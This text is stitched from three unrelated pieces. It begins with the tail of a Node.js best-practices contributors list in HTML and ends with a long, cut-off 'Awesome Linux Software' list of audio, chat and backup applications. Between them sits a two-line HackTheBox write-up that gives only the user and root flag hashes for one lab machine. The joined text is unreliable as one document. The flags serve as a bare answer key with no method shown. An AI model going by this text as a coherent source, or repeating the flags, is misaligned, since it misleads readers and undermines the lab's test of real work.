width="100px;" alt="Eugenio Berretta"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Eugenio Berretta</b></sub></a><br /><a href="#content-euberdeveloper" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/soranakk"><img src="https://avatars.githubusercontent.com/u/3930307?v=4" width="100px;" alt="soranakk"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>soranakk</b></sub></a><br /><a href="#content-soranakk" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/backend-joonyoung"><img src="https://avatars.githubusercontent.com/u/94430145?v=4" width="100px;" alt="고준영"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>고준영</b></sub></a><br /><a href="#content-backend-joonyoung" title="Content">🖋</a> <a href="https://github.com/goldbergyoni/nodebestpractices/commits?author=backend-joonyoung" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/GuilhermePortella"><img src="https://avatars.githubusercontent.com/u/59876059?v=4" width="100px;" alt="Guilherme Portella "style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Guilherme Portella </b></sub></a><br /><a href="#content-GuilhermePortella" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A"><img src="https://avatars.githubusercontent.com/u/18497570?v=4" width="100px;" alt="André Esser"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>André Esser</b></sub></a><br /><a href="#content-Esser50K" title="Content">🖋</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ShiChenCong"><img src="https://avatars.githubusercontent.com/u/22486446?v=4" width="100px;" alt="Scc"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Scc</b></sub></a><br /><a href="#translation-ShiChenCong" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.mauroaccornero.it"><img src="https://avatars.githubusercontent.com/u/1875822?v=4" width="100px;" alt="Mauro Accornero"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>Mauro Accornero</b></sub></a><br /><a href="#content-mauroaccornero" title="Content">🖋</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/no-yan"><img src="https://avatars.githubusercontent.com/u/63000297?v=4" width="100px;" alt="no-yan"style="max-width:100px;min-width:100px;" /><br /><sub style="white-space: nowrap;overflow: hidden;text-overflow: ellipsis;"><b>no-yan</b></sub></a><br /><a href="#content-no-yan" title="Content">🖋</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> ### Steering Committee Emeriti [Bruno Scheufler](https://github.com/BrunoScheufler) <a href="https://brunoscheufler.com/"><img src="assets/images/web.svg" width="16" height="16"></img></a> 💻 full-stack web engineer, Node.js & GraphQL enthusiast <br/> <img align="left" width="100" height="100" src="assets/images/members/kyle.png"/> [Kyle Martin](https://github.com/js-kyle) <a href="https://twitter.com/kylemartin_93"><img src="assets/images/twitter.svg" width="16" height="16"></img></a> <a href="https://www.linkedin.com/in/kylemartinnz"><img src="assets/images/linkedin.svg" width="16" height="16"></img></a> Full Stack Developer & Site Reliability Engineer based in New Zealand, interested in web application security, and architecting and building Node.js applications to perform at global scale. <br/> <img align="left" width="100" height="100" src="assets/images/members/kevyn.png"/> [Kevyn Bruyere](https://github.com/kevynb) <a href="https://www.linkedin.com/in/kevynbruyere/"><img src="assets/images/linkedin.svg" width="16" height="16"></img></a> Independent full-stack developer with a taste for Ops and automation. <br/> <img align="left" width="100" height="100" src="assets/images/members/sagir.png"/> [Sagir Khan](https://github.com/sagirk) <a href="https://twitter.com/sagir_k"><img src="assets/images/twitter.svg" width="16" height="16"></img></a> <a href="https://linkedin.com/in/sagirk"><img src="assets/images/linkedin.svg" width="16" height="16"></img></a> <a href="https://sagirk.com"><img src="assets/images/web.svg" width="16" height="16"></img></a> Deep specialist in JavaScript and its ecosystem — React, Node.js, TypeScript, GraphQL, MongoDB, pretty much anything that involves JS/JSON in any layer of the system — building products using the web platform for the world’s most recognized brands. Individual Member of the Node.js Foundation.
# HackTheBox Writeup > Saikat Karmakar | Jul 18 : 2021 > ip -> 10.10.10.138 --- 1. user.txt ``` d4e493fd4068afc9eb1aa6a55319f978 ``` 2. root.txt ``` eeba47f60b48ef92b734f9b6198d7226 ```
# Awesome Linux Software ![Tux](img/tux.png) 🐧 This repo is a collection of **AWESOME** Linux applications and tools for **any users/developers**. 🐧 Feel free to **contribute** / **star** / **fork** / **pull request** . Any **recommendations** and **suggestions** are welcome. **Acknowledgement:** _Everything written below is from my own experience in college and after reading various materials. I am neither a professional nor an expert, but a passionate user. Anyone can open a discussion in the issue section, or a pull request if something should be modified or added._ - Brazilian Portuguese version : [here](https://github.com/LewisVo/Awesome-Linux-Software/blob/master/README_pt-BR.md). - Chinese version : [here](https://github.com/LewisVo/Awesome-Linux-Software/blob/master/README_zh-CN.md) or [here](https://github.com/alim0x/Awesome-Linux-Software-zh_CN). - Spanish version : [here](https://github.com/LewisVo/Awesome-Linux-Software/blob/master/README_es-ES.md) or [here](https://github.com/SaintFenix/Awesome-Linux-Software/blob/master/README_es-ES.md). - Thai version : [here](https://github.com/LewisVo/Awesome-Linux-Software/blob/master/README_th-TH.md). ## Table of Contents - [Applications](#applications) - [Audio](#audio) - [Chat Clients](#chat-clients) - [Data Backup and Recovery](#data-backup-and-recovery) - [Desktop Customization](#desktop-customization) - [Development](#development) - [E-Book Utilities](#e-book-utilities) - [Education](#education) - [Email Utilities](#email) - [File Manager](#file-manager) - [Games](#games) - [Graphics](#graphics) - [Internet](#internet) - [Office](#office) - [Productivity](#productivity) - [Proxy](#proxy) - [Security](#security) - [Sharing Files](#sharing-files) - [Terminal](#terminal) - [Text Editors](#text-editors) - [Utilities](#utilities) - [Video](#video) - [VPN](#vpn) - [Wiki Software](#wiki-software) - [Others](#others) - [Command Line Utilities](#command-line-utilities) - [Custom Linux Kernels](#custom-linux-kernels) - [Desktop Environments](#desktop-environments) - [Display Managers](#display-manager) - [Console](#console) - [Graphic](#graphic) - [Window Managers](#window-managers) - [Compositors](#compositors) - [Stacking Window Managers](#stacking-window-managers) - [Tiling Window Managers](#tiling-window-managers) - [Dynamic Window Managers](#dynamic-window-managers) --- - [Linux News, Apps, and more ....](#linux-news-apps-and-more) - [Reddit](#reddit) - [Contributors](#contributors) - [Guidelines to Contribute](#guidelines-to-contribute) - [How to Contribute](#unsure-how-to-contribute) --- ## Applications ### Audio _For a more comprehensive/advanced/better categorized/... list of Linux audio software, you may want to click [here](https://github.com/nodiscc/awesome-linuxaudio)_ #### Edit-Mix-Record - [![Open-Source Software][oss icon]](https://github.com/Ardour/ardour) [Ardour](https://ardour.org/) - Record, Edit, and Mix on Linux. - [![Open-Source Software][oss icon]](https://github.com/audacity/audacity) [Audacity](https://www.audacityteam.org/download/linux/) - Free, open source, cross-platform software for recording and editing sounds. - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~audio-recorder/audio-recorder/trunk/files) [Audio Recorder](https://launchpad.net/~audio-recorder) - Simple audio recorder available in an Ubuntu PPA. - ![Non Free][money icon] [Bitwig](https://www.bitwig.com/en/download.html) - DAW for music production. - [![Open-Source Software][oss icon]](https://github.com/wwmm/easyeffects) [EasyEffects](https://github.com/wwmm/easyeffects) - EasyEffects is an advanced audio manipulation tool. It includes an equalizer, limiter, compressor and a reverberation tool, just to mention a few. To complement this there is also a built in spectrum analyzer. - [![Open-Source Software][oss icon]](https://github.com/mtytel/helm) [Helm](https://tytel.org/helm/) - A software synthesizer, that runs either standalone, or as an LV2, VST, VST3 or AU plugin. - [![Open-Source Software][oss icon]](https://github.com/hydrogen-music/hydrogen) [Hydrogen](http://www.hydrogen-music.org/) - Advanced drum machine for GNU/Linux. - [![Open-Source Software][oss icon]](https://github.com/KXStudio/Repository) [KxStudio](https://kx.studio/) - A collection of applications and plugins for professional audio production. - [![Open-Source Software][oss icon]](https://github.com/LMMS/lmms) [LMMS](https://lmms.io/download/#linux) - Making music on your PC by creating melodies and beats, synthesizing and mixing sounds, arranging samples and much more. - [![Open-Source Software][oss icon]](https://github.com/mixxxdj/mixxx) [Mixxx](https://www.mixxx.org/download/) - Free DJ software that gives you everything you need to perform live mixes; veritable alternative to Traktor. - [![Open-Source Software][oss icon]](https://github.com/musescore/MuseScore) [MuseScore](https://musescore.org) - Create, play and print beautiful sheet music. - ![Non Free][money icon] [Reaper](https://www.reaper.fm/) - Audio Production without Limits. - [![Open-Source Software][oss icon]](https://github.com/VCVRack/Rack) [VCV Rack](https://vcvrack.com/) - An open-source virtual modular synthesizer. - [![Open-Source Software][oss icon]](https://github.com/Audio4Linux/Viper4Linux-GUI) [Viper4Linux](https://github.com/Audio4Linux/Viper4Linux-GUI) - An audio effect processor based on Viper4Android. #### Music Player - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/amberol) [Amberol](https://apps.gnome.org/app/io.bassi.Amberol/) - A small and simple sound and music player that is well integrated with GNOME. - [![Open-Source Software][oss icon]](https://audacious-media-player.org/developers) [Audacious](https://audacious-media-player.org/) - An open source audio player that plays your music how you want it, without stealing away your computer’s resources from other tasks. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/audiotube) [AudioTube](https://apps.kde.org/audiotube/) - Feature-rich YouTube Music client for KDE, built with Kirigami. - [![Open-Source Software][oss icon]](https://github.com/beetbox/beets) [beets](http://beets.io/) - Beets is the media library management system for obsessive-compulsive music geeks. - [![Open-Source Software][oss icon]](https://github.com/CDrummond/cantata) [Cantata](https://github.com/CDrummond/cantata) - Qt5 Graphical MPD (Music Player Daemon) Client for Linux, Windows, MacOS. - [![Open-Source Software][oss icon]](https://github.com/ciderapp/cider) [Cider](https://cider.sh/) - A new cross-platform Apple Music experience based on Electron and Vue.js written from scratch with performance in mind. - [![Open-Source Software][oss icon]](https://github.com/clementine-player/Clementine) [Clementine](https://www.clementine-player.org/) - Play numerous lossy and lossless audio formats. - [![Open-Source Software][oss icon]](https://github.com/cmus/cmus) [Cmus](https://cmus.github.io/#download) - A small, fast and powerful console music player for Unix-like operating systems. - [![Open-Source Software][oss icon]](https://github.com/DeaDBeeF-Player/deadbeef) [DeaDBeeF](https://deadbeef.sourceforge.io/) - DeaDBeeF is a modular audio player for GNU/Linux, BSD, OpenSolaris, macOS, and other UNIX-like systems. - [![Open-Source Software][oss icon]](https://github.com/linuxdeepin/deepin-music) [Deepin Music](https://www.deepin.org/en/original/deepin-music/) - An application, developed by Deepin Technology Team, which focused on local music playing. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/elisa) [Elisa](https://elisa.kde.org/) - Elisa is a music player developed by the KDE community that strives to be simple and nice to use. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/neithern/g4music) [G4Music](https://gitlab.gnome.org/neithern/g4music) - A fast, fluent, light weight music player written in GTK4. - [![Open-Source Software][oss icon]](https://github.com/gpodder/gpodder) [Gpodder](https://gpodder.github.io/) - Media aggregator and podcast client. - [![Open-Source Software][oss icon]](https://github.com/harmonoid/harmonoid) [Harmonoid](https://harmonoid.com/) - Plays & manages your music library. Looks beautiful & juicy. Playlists, visuals, synced lyrics, pitch shift, volume boost & more. - [![Open-Source Software][oss icon]](https://github.com/trazyn/ieaseMusic) [ieaseMusic](https://github.com/trazyn/ieaseMusic) - iEaseMusic is a multiplatform program built in electron for listening to NetEase Music. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/juk) [JuK](https://juk.kde.org/) - Jukebox music player for managing audio and editing metadata. - [![Open-Source Software][oss icon]](https://github.com/LibreTime/libretime) [Libretime](https://libretime.org/) - The open broadcast software for scheduling and remote station management; forked from Airtime. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/lollypop) [Lollypop](https://wiki.gnome.org/Apps/Lollypop) - A GNOME music playing application. - [![Open-Source Software][oss icon]](https://gitlab.com/ColinDuquesnoy/MellowPlayer) [Mellow Player](https://colinduquesnoy.gitlab.io/MellowPlayer/) - Cloud music integration for your desktop. - [![Open-Source Software][oss icon]](https://github.com/mopidy/mopidy) [Mopidy](https://www.mopidy.com/) - An extensible music server written in Python. - [![Open-Source Software][oss icon]](https://github.com/staniel359/muffon) [muffon](https://muffon.netlify.app/) - muffon is a cross-platform music streaming browser for desktop, which helps you find, listen and organize music in a way you've probably never experienced before. - [![Open-Source Software][oss icon]](https://github.com/martpie/museeks) [Museeks](https://museeks.io/) - A simple, clean and cross-platform music player. - [![Open-Source Software][oss icon]](https://github.com/metabrainz/picard) [MusicBrainz Picard](https://picard.musicbrainz.org/) - Picard is a cross-platform music tagger written in Python. - [Netease Music](http://music.163.com/#/download) - A music player of Netease - a cloud music service in China. - [![Open-Source Software][oss icon]](https://github.com/nukeop/nuclear) [Nuclear](https://nuclear.js.org/) - An Electron-based, multiplatform music player app that streams from multiple sources. - [Ocenaudio](https://www.ocenaudio.com/whatis) - A cross-platform, easy to use, fast and functional audio editor. It is the ideal software for people who need to edit and analyze audio files. - [![Open-Source Software][oss icon]](https://github.com/gkarsay/parlatype) [Parlatype](https://gkarsay.github.io/parlatype/) - GNOME audio player for transcription. - [![Open-Source Software][oss icon]](https://github.com/pithos/pithos) [Pithos](https://pithos.github.io/) - A native Pandora client for Linux. - [![Open-Source Software][oss icon]](https://github.com/quodlibet/quodlibet) [Quod Libet](https://quodlibet.readthedocs.io) - GTK+ music player written with huge libraries in mind. Supports search-based dynamic playlists, regular expressions, tagging, Replay Gain, podcasts & Internet radio. - [![Open-Source Software][oss icon]](https://github.com/GNOME/rhythmbox) [Rhythmbox](https://wiki.gnome.org/Apps/Rhythmbox) - Music player from GNOME. - [![Open-Source Software][oss icon]](https://gitlab.com/luciocarreras/sayonara-player) [Sayonara Player](https://sayonara-player.com/downloads.php) - A small, clear and fast audio player for Linux written in C++, supported by the Qt framework. - [![Open-Source Software][oss icon]](https://github.com/multani/sonata/) [Sonata](https://www.nongnu.org/sonata/) - A Music player that is designed to be an elegant and intuitive interface for your music collection via the Music Player Daemon (MPD). - [![Open-Source Software][oss icon]](https://github.com/Soundnode/soundnode-app) [Soundnode](https://soundnode.github.io/soundnode-website/) - An open source SoundCloud app for desktop. - [![Open-Source Software][oss icon]](https://github.com/xou816/spot) [Spot](https://github.com/xou816/spot) - Native Spotify client for the GNOME desktop. - [Spotify](https://www.spotify.com/us/) - Spotify is the best way to listen to music and podcasts on pc, mobile or tablet. - [![Open-Source Software][oss icon]](https://github.com/krtirtho/spotube) [Spotube](https://spotube.netlify.app/) - Spotube is a Flutter based lightweight spotify client. It utilizes the power of Spotify & Youtube's public API & creates a hazardless, performant & resource friendly User Experience. - [![Open-Source Software][oss icon]](https://github.com/strawberrymusicplayer/strawberry) [Strawberry](https://www.strawberrymusicplayer.org/) - Strawberry is a fork of Clementine aimed at music collectors and audiophiles. It's written in C++ using the Qt toolkit. - [![Open-Source Software][oss icon]](https://github.com/Mastermindzh/tidal-hifi) [Tidal-hifi](https://github.com/Mastermindzh/tidal-hifi) - The web version of Tidal running in electron with hifi support thanks to widevine. - [![Open-Source Software][oss icon]](https://github.com/th-ch/youtube-music) [Youtube-Music](https://github.com/th-ch/youtube-music) - YouTube Music Desktop App bundled with custom plugins (and built-in ad blocker / downloader) #### Radio - [![Open-Source Software][oss icon]](https://github.com/chronitis/curseradio) [curseradio](https://github.com/chronitis/curseradio) - Command line radio player. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/kasts) [Kasts](https://apps.kde.org/kasts/) - Feature-rich, convergent podcast client for Linux Desktop and Mobile. - [![Open-Source Software][oss icon]](https://github.com/ebruck/radiotray-ng) [RadioTray-NG](https://github.com/ebruck/radiotray-ng) - An Internet radio player for Linux. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/Shortwave) [Shortwave](https://apps.gnome.org/app/de.haeckerfelix.Shortwave/) - Shortwave is an internet radio player that provides access to a station database with over 25,000 stations. - [![Open-Source Software][oss icon]](https://github.com/needle-and-thread/vocal) [Vocal](https://vocalproject.net/) - Podcast client for the modern desktop. #### Utilities - [![Open-Source Software][oss icon]](https://github.com/karlstav/cava) [cava](https://github.com/karlstav/cava) - Cava is a Cross-platform Audio Visualizer. - [![Open-Source Software][oss icon]](https://github.com/enzo1982/freac) [fre:ac](https://www.freac.org) - fre:ac is a free audio converter and CD ripper with support for various popular formats and encoders. It currently converts between MP3, MP4/M4A, WMA, Ogg Vorbis, FLAC, AAC, WAV and Bonk formats. - [![Open-Source Software][oss icon]](https://github.com/KDE/k3b) [K3b](https://userbase.kde.org/K3b) - The CD/DVD Kreator for Linux, optimized for KDE. - [![Open-Source Software][oss icon]](https://github.com/JonMagon/KDiskMark) [KDiskMark](https://github.com/JonMagon/KDiskMark) - A simple open-source disk benchmark tool for Linux distros, similar to CrystalDiskmark on Windows. - [![Open-Source Software][oss icon]](https://invent.kde.org/multimedia/kid3/) [Kid3](https://kid3.kde.org/) - Edit tags of multiple files, e.g. the artist, album, year and genre of all mp3 files of an album. - [![Open-Source Software][oss icon]](https://github.com/orhun/linuxwave) [linuxwave](https://orhun.dev/linuxwave/) - Generate music from the entropy of Linux - [![Open-Source Software][oss icon]](https://github.com/SeaDve/Mousai) [Mousai](https://apps.gnome.org/app/io.github.seadve.Mousai/) - Mousai is a simple application that can identify songs similar to Shazam. - [MusixMatch](https://snapcraft.io/musixmatch) - A Capable lyrics app with synchronized lyrics function. - [![Open-Source Software][oss icon]](https://github.com/osdlyrics/osdlyrics) [OSD Lyrics](https://github.com/osdlyrics/osdlyrics) - Show lyrics with your favorite media player. - [![Open-Source Software][oss icon]](https://launchpad.net/soundconverter) [Soundconverter](http://soundconverter.org/) - Leading audio file converter. Aims to be simple to use, and very fast. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/sound-juicer) [SoundJuicer](https://wiki.gnome.org/Apps/SoundJuicer/Documentation#Installing) - CD Ripping tool for GNOME. - [![Open-Source Software][oss icon]](https://github.com/Soundux/Soundux) [Soundux](https://soundux.rocks/) - A cross-platform soundboard. - [![Open-Source Software][oss icon]](https://github.com/spicetify/spicetify-cli) [Spicetify](https://spicetify.app/) - Command-line tool to customize the official Spotify client. Supports Windows, MacOS and Linux. ### Chat Clients #### 3rd Party Client - [![Open-Source Software][oss icon]](https://github.com/sindresorhus/caprine) [Caprine](https://sindresorhus.com/caprine) - Elegant Facebook Messenger desktop app. - [![Open-Source Software][oss icon]](https://github.com/chatterino/chatterino2) [Chatterino](https://chatterino.com/) - Chatterino is a chat client for Twitch chat. It aims to be an improved/extended version of the Twitch web chat. - [![Open-Source Software][oss icon]](https://github.com/chatty/chatty) [Chatty](https://chatty.github.io/) - Chatty is a Twitch chat client for everyone who wants to try something new and different from the webchat, but doesn't want the complexity of an IRC client or miss out on the Twitch specific features. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/fractal) [Fractal](https://wiki.gnome.org/Apps/Fractal) - Fractal is a Matrix messaging app for GNOME written in Rust. Its interface is optimized for collaboration in large groups, such as free software projects. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/neochat) [NeoChat](https://apps.kde.org/neochat/) - NeoChat is a Matrix client. It allows you to send text messages, videos and audio files to your family, colleagues and friends using the Matrix protocol. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/tokodon) [Tokodon](https://apps.kde.org/tokodon/) - Tokodon is a Mastodon client for Plasma and Plasma Mobile. - [![Open-Source Software][oss icon]](https://github.com/SpacingBat3/WebCord) [WebCord](https://github.com/SpacingBat3/WebCord) - A Discord and Fosscord web-based client made with the electron. - [![Open-Source Software][oss icon]](https://gitlab.com/zerkc/whatsdesk) [WhatsDesk](https://zerkc.gitlab.io/whatsdesk/) - WhatsDesk is a unofficial client of WhatsApp. #### All-in-One Client - [![Open-Source-Software][oss icon]](https://github.com/ferdium/ferdium-app) [Ferdium](https://ferdium.org/) - Fork of Ferdi/Franz. Ferdium is a desktop app that helps you organize how you use your favourite apps by combining them into one application. - [![Open-Source-Software][oss icon]](https://github.com/meetfranz/franz) [Franz](https://meetfranz.com/) - Franz is a free messaging app that combines many chat & messaging services into one application. - [![Open-Source Software][oss icon]](https://developer.pidgin.im/) [Pidgin](https://pidgin.im/) - A universal chat client. - [Rambox](https://rambox.pro/) - Free and Cross Platform messaging and emailing app that combines common web applications into one. - [![Open-Source Software][oss icon]](https://github.com/sonnyp/Tangram) [Tangram](https://apps.gnome.org/app/re.sonny.Tangram/) - Tangram is a new kind of browser. It is designed to organize and run your Web applications. #### Chat Client Utilities - [![Open-Source Software][oss icon]](https://github.com/BetterDiscord/BetterDiscord) [BetterDiscord](https://betterdiscord.app/) - BetterDiscord extends the functionality of DiscordApp by enhancing it with new features. - [![Open-Source Software][oss icon]](https://github.com/trigg/Discover) [Discover](https://trigg.github.io/Discover/) - Yet another Discord overlay for Linux written in Python using GTK3. - [![Open-Source Software][oss icon]](https://github.com/jagrosh/MusicBot) [JMusicBot](https://jmusicbot.com/) - A Discord music bot that's easy to set up and run yourself. - [![Open-Source Software][oss icon]](https://github.com/Cog-Creators/Red-DiscordBot) [Red Discord Bot](https://index.discord.red/) - Red Discord Bot is a self-hosted music/chat/trivia bot that can run on a Raspberry Pi and a variety of OS's. It's extensible through a system of "Cogs" that allow it to do more. #### IRC Client - [![Open-Source Software][oss icon]](https://github.com/hexchat) [HexChat](https://hexchat.github.io/) - HexChat is an IRC client based on XChat, but unlike XChat it’s completely free for both Windows and Unix-like system. - [![Open-Source Software][oss icon]](https://github.com/irssi/irssi) [Irssi](https://irssi.org/) - Irssi is a modular chat client that is most commonly known for its text mode user interface. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/konversation) [Konversation](https://konversation.kde.org/) - User-friendly and fully-featured IRC client. - [![Open-Source Software][oss icon]](https://github.com/kvirc/KVIrc) [KVIrc](http://www.kvirc.net/) - KVIrc is a free portable IRC client based on the excellent Qt GUI toolkit. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/polari) [Polari](https://wiki.gnome.org/Apps/Polari) - A simple IRC client that is designed to integrate seamlessly with GNOME. #### Official Client - [![Open-Source-Software][oss icon]](https://sourceforge.net/p/beebeep/code/HEAD/tree/) [BeeBEEP](https://www.beebeep.net/) - BeeBEEP is an open source, peer to peer, lan messenger. You can talk and share files with anyone inside your local area network. You don't need a server, just download, unzip and start it. Simple, fast and secure. - [![Open-Source Software][oss icon]](https://github.com/dino/dino) [Dino](https://dino.im) - Clean and modern Jabber/XMPP chat client. - [Discord](https://discordapp.com/) - All-in-one voice and text chat for gamers that’s free, secure, and works on both your desktop and phone. - [![Open-Source Software][oss icon]](https://github.com/vector-im/element-web) [Element](https://element.io/) - A glossy Matrix collaboration client for the web. - [![Open-Source Software][oss icon]](https://gitlab.com/gitlab-org/gitter/services) [Gitter](https://gitter.im/) - Gitter — Where developers come to talk. Gitter is designed to make community messaging, collaboration and discovery as smooth and simple as possible. - [![Open-Source Software][oss icon]](https://git.jami.net/savoirfairelinux) [Jami](https://jami.net/) - Chat. Talk. Share. Jami is a free and universal communication platform which preserves the users' privacy and freedoms. Formerly Ring. - [![Open-Source Software][oss icon]](https://github.com/jitsi) [Jitsi](https://jitsi.org/) - Jitsi is a free and open source multiplatform voice, videoconferencing and instant messaging application for Windows, Linux, Mac OS X and Android. - [![Open-Source Software][oss icon]](https://github.com/mattermost/) [Mattermost](https://mattermost.com/) - Mattermost is a secure collaboration platform that is open, flexible, and deeply integrated with the tools you love. - [![Open-Source Software][oss icon]](https://github.com/qTox/qTox) [qTox](https://qtox.github.io/) - A simple distributed, secure messenger with audio and video chat capabilities. - [![Open-Source Software][oss icon]](https://github.com/revoltchat) [Revolt](https://revolt.chat/) - Revolt is an open source user-first chat platform. - [![Open-Source Software][oss icon]](https://github.com/RocketChat/Rocket.Chat) [Rocket.Chat](https://rocket.chat/) - Rocket.Chat is an open-source fully customizable communications platform developed in JavaScript for organizations with high standards of data protection. - [![Open-Source Software][oss icon]](https://github.com/oxen-io) [Session](https://getsession.org/) - Session is an end-to-end encrypted messenger that minimises sensitive metadata, designed and built for people who want absolute privacy and freedom from any form of surveillance. - [![Open-Source Software][oss icon]](https://github.com/signalapp) [Signal](https://signal.org) - An end-to-end encrypted chat app that focuses on privacy for all. Say "hello" to privacy. - [Skype](https://www.skype.com/en/) - Skype keeps the world talking, for free. - [Slack](https://slack.com/downloads/linux) - Real-time messaging, archiving and search for modern teams. - [![Open-Source Software][oss icon]](https://github.com/telegramdesktop/tdesktop) [Telegram](https://desktop.telegram.org/) - A messaging app with a focus on speed and security, it’s super fast, simple and free. - [![Open-Source Software][oss icon]](https://github.com/linagora/Twake) [Twake](https://twake.app/) - Open-source alternative to Microsoft Teams. - [Viber](https://www.viber.com/download/) - Viber for Linux lets you send free messages and make free calls to other Viber users on any device and network, in any country. - [![Open-Source Software][oss icon]](https://github.com/weechat) [Weechat](https://weechat.org/) - WeeChat is a fast, light and extensible chat client. - [![Open-Source Software][oss icon]](https://github.com/wireapp) [Wire](https://wire.com/en/) - Secure communication. Full privacy. - [![Open-Source Software][oss icon]](https://github.com/zulip/zulip) [Zulip](https://zulip.com/) - Zulip is a powerful, open source group chat application that combines the immediacy of real-time chat with the productivity benefits of threaded conversations. ### Data Backup and Recovery - [![Open-Source Software][oss icon]](https://github.com/bit-team/backintime/) [Back In Time](https://github.com/bit-team/backintime/) - A simple backup tool for Linux, inspired by "flyback project". - [![Open-Source Software][oss icon]](https://borgbackup.readthedocs.io/en/stable/development.html) [BorgBackup](https://borgbackup.readthedocs.io/en/stable/) - A deduplicating backup program with compression and authenticated encryption. - [![Open-Source Software][oss icon]](https://github.com/bup/bup) [bup](https://bup.github.io/) - Very efficient backup system based on the git packfile format, providing fast incremental saves and global deduplication (among and within files, including virtual machine images). - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/deja-dup) [Deja Dup](https://wiki.gnome.org/Apps/DejaDup) - A simple backup tool with built-in encryption. - [![Open-Source Software][oss icon]](https://github.com/gilbertchen/duplicacy) [Duplicacy](https://duplicacy.com/) - Duplicacy is a new generation cross-platform cloud backup tool based on the idea of Lock-Free Deduplication. CLI version is free for personal use and is open-source, GUI and commercial use require licensing. - [![Open-Source Software][oss icon]](https://gitlab.com/duplicity/duplicity) [Duplicity](https://duplicity.gitlab.io/) - Duplicity does directory backups by producing encrypted tar-format volumes and uploading them to a remote or local file server. - [![Open-Source Software][oss icon]](https://www.freefilesync.org/download.php) [FreeFileSync](https://www.freefilesync.org) - FreeFileSync is a folder comparison and synchronization software that creates and manages backup copies of all your important files. Instead of copying every file every time, FreeFileSync determines the differences between a source and a target folder and transfers only the minimum amount of data needed. - [![Open-Source Software][oss icon]](https://github.com/kopia/kopia/) [Kopia](https://kopia.io/) - Cross-platform backup tool for Windows, macOS & Linux with fast, incremental backups, client-side end-to-end encryption, compression and data deduplication. - [![Open-Source Software][oss icon]](https://github.com/cgsecurity/testdisk) [Photorec](https://www.cgsecurity.org/wiki/PhotoRec) - PhotoRec is file data recovery software designed to recover lost files including video, documents and archives from hard disks, CD-ROMs, and lost pictures (thus the Photo Recovery name) from digital camera memory. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/pika-backup) [Pika Backup](https://apps.gnome.org/app/org.gnome.World.PikaBackup/) - Pika Backup is designed to save your personal data and does not support complete system recovery. Pika Backup is powered by the well-tested BorgBackup software. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/qt-fsarchiver/) [Qt-fsarchiver](https://sourceforge.net/projects/qt-fsarchiver/) - Qt-fsarchiver is a GUI for the fsarchiver program to save/restore partitions, folders and even the MBR/GPT table. The program is for systems based on Debian, OpenSuse or Fedora. - [![Open-Source Software][oss icon]](https://github.com/ncw/rclone) [rclone](https://rclone.org/) - Rclone is a command line program to sync files and directories to and from various cloud storage solutions. It also allows encrypted backups. - [![Open-Source Software][oss icon]](https://github.com/restic/restic) [restic](https://restic.net/) - restic is a backup program that is fast, efficient and secure. It supports the three major operating systems (Linux, macOS, Windows) and a few smaller ones (FreeBSD, OpenBSD). - [![Open-Source Software][oss icon]](https://github.com/rsnapshot/rsnapshot) [rsnapshot](https://rsnapshot.org/) - rsnapshot is a command line utility based on rsync to make periodic snapshots of local/remote machines. The code makes extensive use of hard links whenever possible to greatly reduce the disk space required. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/systemrescuecd/) [System Rescue CD](http://www.system-rescue-cd.org/) - SystemRescueCd is a Linux system rescue disk available as a bootable CD-ROM or USB stick for administrating or repairing your system and data after a crash. - [![Open-Source Software][oss icon]](https://github.com/cgsecurity/testdisk) [TestDisk](https://www.cgsecurity.org/wiki/TestDisk) - TestDisk is powerful free data recovery software! It was primarily designed to help recover lost partitions and/or make non-booting disks bootable again when these symptoms are caused by faulty software. - [![Open-Source Software][oss icon]](https://github.com/linuxmint/timeshift) [Timeshift](https://github.com/linuxmint/timeshift) - System restore tool for Linux. Creates filesystem snapshots using rsync+hardlinks, or BTRFS snapshots. Supports scheduled snapshots, multiple backup levels, and exclude filters. Snapshots can be restored while system is running or from Live CD/USB. - [![Open-Source Software][oss icon]](https://github.com/borgbase/vorta) [Vorta](https://vorta.borgbase.com/) - Vorta is a backup client for macOS and Linux desktops. It integrates the mighty 